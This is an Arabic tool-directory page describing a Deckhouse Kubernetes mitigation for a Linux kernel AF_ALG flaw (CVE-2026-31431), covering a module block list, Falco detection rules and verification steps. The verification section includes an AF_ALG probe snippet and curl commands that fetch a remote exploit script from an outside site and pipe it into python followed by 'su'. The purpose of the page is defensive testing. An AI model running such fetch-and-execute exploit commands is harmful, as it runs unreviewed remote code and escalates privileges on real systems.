Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
d8-copy-fail-mitigation — تخفيف CVE-2026-31431 الأصلي لـ Kubernetes مع حظر تلقائي لوحدات kernel، وقواعد كشف Falco في وقت التشغيل، وتكوين العقدة المستند إلى bashible لمجموعات Deckhouse. | Kitploit
أدوات/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
أمن الحاوياتتحليل الثغرات الأمنيةتدقيق التكوينأمن السحابةكشف التسللالاستجابة للحوادث
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

تخفيف CVE-2026-31431 الأصلي لـ Kubernetes مع حظر تلقائي لوحدات kernel، وقواعد كشف Falco في وقت التشغيل، وتكوين العقدة المستند إلى bashible لمجموعات Deckhouse.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

تخفيف CVE-2026-31431 لمنصة Deckhouse Kubernetes

اللغة: English | Русский

حول الثغرة الأمنية

CVE-2026-31431 هي ثغرة أمنية في وحدة algif_aead الخاصة بنواة لينكس، والتي تعرض واجهة برمجة تطبيقات التشفير الخاصة بالنواة لمساحة المستخدم من خلال عائلة مآخذ AF_ALG. وجود خلل في واجهة AEAD (التشفير الموثّق مع البيانات المرتبطة) يسمح لمستخدم محلي غير مميز بإحداث تلف في الذاكرة داخل النواة عن طريق إرسال قوائم scatter-gather معدّة، مما يؤدي إلى تصعيد الامتيازات المحلية أو رفض الخدمة.

يمكن الوصول إلى السطح القابل للاستغلال من أي عملية — بما في ذلك الحاويات غير المميزة — التي يُسمح لها باستدعاء socket(AF_ALG, SOCK_SEQPACKET, 0) وربطه بخوارزمية من نوع aead. إن بيئات تشغيل الحاويات التي لا تقوم بإسقاط ملف تعريف seccomp الافتراضي أو لا تقيد عائلة استدعاءات النظام socket تعرض عُقد الكتلة للهجوم.

التخفيف الموصى به، إلى حين نشر تصحيح النواة من المنبع من خلال تحديثات حزم نظام التشغيل، هو تعطيل وحدة النواة algif_aead على كل عقدة في الكتلة واكتشاف محاولات الاستغلال أثناء وقت التشغيل.

الملفات في هذا المستودع

يحتوي هذا المستودع على كل ما يلزم لتخفيف CVE-2026-31431 على كتلة مدارة بواسطة Deckhouse:

ngc-cve-2026-31431.yaml — تخفيف على مستوى العقدة

يقوم NodeGroupConfiguration بالتشغيل عبر bashible على كل عقدة وينفذ أربع خطوات:

  1. الفحص — يفتح مأخذ AF_ALG ويربطه بـ aead/gcm(aes) لتحديد ما إذا كانت الواجهة القابلة للاستغلال متاحة على العقدة.
  2. المنع — يكتب /etc/modprobe.d/disable-algif.conf بتوجيهات install تمنع تحميل algif_aead (والوحدة الأم af_alg) مرة أخرى، سواء يدوياً أو كتبعية.
  3. الإفراغ — يشغل rmmod algif_aead إذا كانت الوحدة محملة حالياً. يتم تخطي هذه الخطوة إذا كانت الوحدة مدمجة في النواة (في هذه الحالة، يُطبق فقط قائمة الحظر + الكشف أثناء التشغيل).
  4. التحقق — يعيد تشغيل الفحص ويُفشل خطوة bashible (خروج غير صفري) إذا كانت واجهة AEAD لا تزال متاحة، بحيث يظهر حالة العقدة على أنها غير مخففة.

مستقل التكرار: إعادة تشغيل التهيئة على عقدة مخففة بالفعل هو عملية لا تؤثر.

far-cve-2026-31431.yaml — الكشف أثناء التشغيل

يضيف مورد FalcoAuditRules قاعدة Falco مخصصة تؤدي إلى حدث Critical كلما فتحت عملية مأخذ AF_ALG وربطته بخوارزمية aead (نمط استدعاء النظام الفريد لهذا الهجوم). كما يصدر حدث Warning عندما تحاول عملية تحميل وحدة algif_aead عبر modprobe/insmod، والذي لا ينبغي أن ينجح أبداً على عقدة مخففة ويُعتبر إشارة قوية لمحاولة استغلال أو سوء تكوين من المشغل.

ملاحظة الإصدار: يتم تنسيق FalcoAuditRules بواسطة وحدة runtime-audit-engine، والتي تُشحن فقط في Deckhouse Enterprise Edition (EE) و Certified Security Edition (CSE). في الإصدار المجتمعي، لن تتم معالجة المورد؛ NodeGroupConfiguration من هذا المستودع لا يزال ساري المفعول وهو التخفيف الأساسي.

التطبيق

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE فقط:
kubectl apply -f far-cve-2026-31431.yaml

انتظار التقارب

انتظر حتى يتم تطبيق التهيئة على كل عقدة من خلال مراقبة حالة كل NodeGroup. يُبلغ bashible عن نجاح كل خطوة إلى NodeGroup، ويقوم Deckhouse بتجميع ذلك في حقلين يمكنك الاستعلام عنهما:

  • .status.upToDate — عدد العقد التي نجح تشغيل bashible الأخير فيها مع التهيئة الحالية. يتحقق التقارب عندما يكون upToDate == nodes لكل مجموعة.
  • .status.conditionSummary.ready — "True" بمجرد أن تصبح المجموعة سليمة؛ يتحول إلى "False" مع سبب قابل للقراءة البشرية في .status.conditionSummary.statusMessage إذا فشلت أي خطوة bashible لعقدة (وهو بالضبط ما تقوم به خطوة التحقق في NodeGroupConfiguration على عقدة لم يمكن تطبيق الإصلاح عليها).

عرض لمرة واحدة عبر جميع المجموعات:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

فحص قابل للبرمجة يخرج بـ 0 فقط عندما تتقارب كل مجموعة:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "لا يزال يتقارب" || echo "جميع مجموعات العقد تقاربت"

إذا كانت NodeGroup عالقة مع conditionSummary.ready == "False"، اقرأ .status.conditionSummary.statusMessage — فهو يُظهر خطوة bashible الفاشلة، بما في ذلك خطوة التحقق من هذا التخفيف.

التراجع

بمجرد تثبيت حزمة النواة من المنبع التي تحتوي على الإصلاح الرسمي على كل عقدة، قم بإزالة كلا الموردين:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

إزالة NodeGroupConfiguration لا تحذف /etc/modprobe.d/disable-algif.conf تلقائياً — قم بتنظيفه يدوياً إذا كنت تريد جعل الوحدة قابلة للتحميل مرة أخرى، أو اترك قائمة الحظر في مكانها إذا كانت واجهة برمجة تطبيقات التشفير للنواة غير مستخدمة من قبل أي حمولة عمل على الكتلة.

التحقق اليدوي

على مستوى الكتلة:

root@kitploit:~
kubectl get nodegroups

يجب أن يكون UPTODATE مساوياً لـ NODES ويجب أن يكون عمود رسالة الحالة فارغاً لكل مجموعة.

على عقدة (SSH أو kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

المتوقع:

  • يُظهر cat أسطر install / blacklist الأربعة.
  • lsmod فارغ.
  • يطبع modprobe -n -v install /bin/false.
  • يُرجع modprobe exit=1.

التحقق من تفعيل قاعدة Falco

استخدم هذا القسم للتحقق من أن قواعد FalcoAuditRules المخصصة لـ CVE-2026-31431 يتم تفعيلها بالفعل عند كل تشغيل لإثبات المفهوم.

الفحوصات المسبقة الشائعة لكلا السيناريوهين:

  1. تحقق من أن runtime-audit-engine سليم على جميع العقد:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

المتوقع: DESIRED == READY == AVAILABLE.

  1. تطبيق/تحديث القواعد:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. بدء تدفق السجلات (اختياري، طرفية منفصلة):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

التحقق من الحاوية

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# مهم: استخدم -i حتى يتلقى Python سكريبت الإدخال
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

التنظيف:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

التحقق من مضيف الكتلة

تحذير أمني: قم دائماً بمراجعة أي سكريبت تم تنزيله قبل التنفيذ. لا تقم بتشغيل سكريبتات عن بعد بشكل أعمى في بيئات الإنتاج.

الموصى به (راجع أولاً، ثم شغل):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

سطر واحد مكافئ (فقط بعد المراجعة/الموافقة):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

تحقق من الاكتشافات:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
تنزيل الأداة
الملفالغرض
ngc-cve-2026-31431.yamlNodeGroupConfiguration يقوم بفحص الواجهة القابلة للاستغلال، ويمنع تحميل algif_aead، ويُفرغ الوحدة إذا كانت محملة حالياً، ويتحقق من فعالية الإصلاح. ينطبق على جميع الحزم ومجموعات العقد.
far-cve-2026-31431.yamlFalcoAuditRules يكتشف محاولات وقت التشغيل لاستغلال الثغرة عبر مآخذ AF_ALG المرتبطة بخوارزميات AEAD. متاح فقط في Deckhouse Enterprise Edition (EE) و Certified Security Edition (CSE)، نظراً لأن وحدة runtime-audit-engine تأتي في هاتين الإصدارتين.